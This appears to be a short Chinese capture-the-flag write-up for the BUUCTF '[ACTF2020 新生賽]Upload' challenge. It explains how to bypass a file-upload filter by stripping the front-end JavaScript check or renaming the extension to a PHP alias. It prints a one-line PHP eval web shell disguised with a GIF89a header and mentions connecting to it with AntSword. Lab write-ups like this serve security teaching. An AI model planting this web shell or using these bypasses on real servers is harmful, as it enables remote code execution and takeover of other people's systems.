Buuctf-web-[ACTF2020 新生賽]Upload

這個題我有兩個思路。

1.繞過前端Js驗證，phtml拓展名的應用

首先打開之后，寫一個phtml文件

GIF89a
<script language="php">eval($_POST['shell']);</script> 

 

 

發現不允許上傳phtml文件

 

 猜想有js驗證

F12查看

 

 果然，將其刪除

 

 蟻劍連接，

 

 根目錄有flag.

 

2.php別名繞過

隨意上傳一個a.jpg,bp抓包，修改后綴名，改碼，添加代碼，放回

 

 

 

 

 

 蟻劍鏈接，根目錄，flag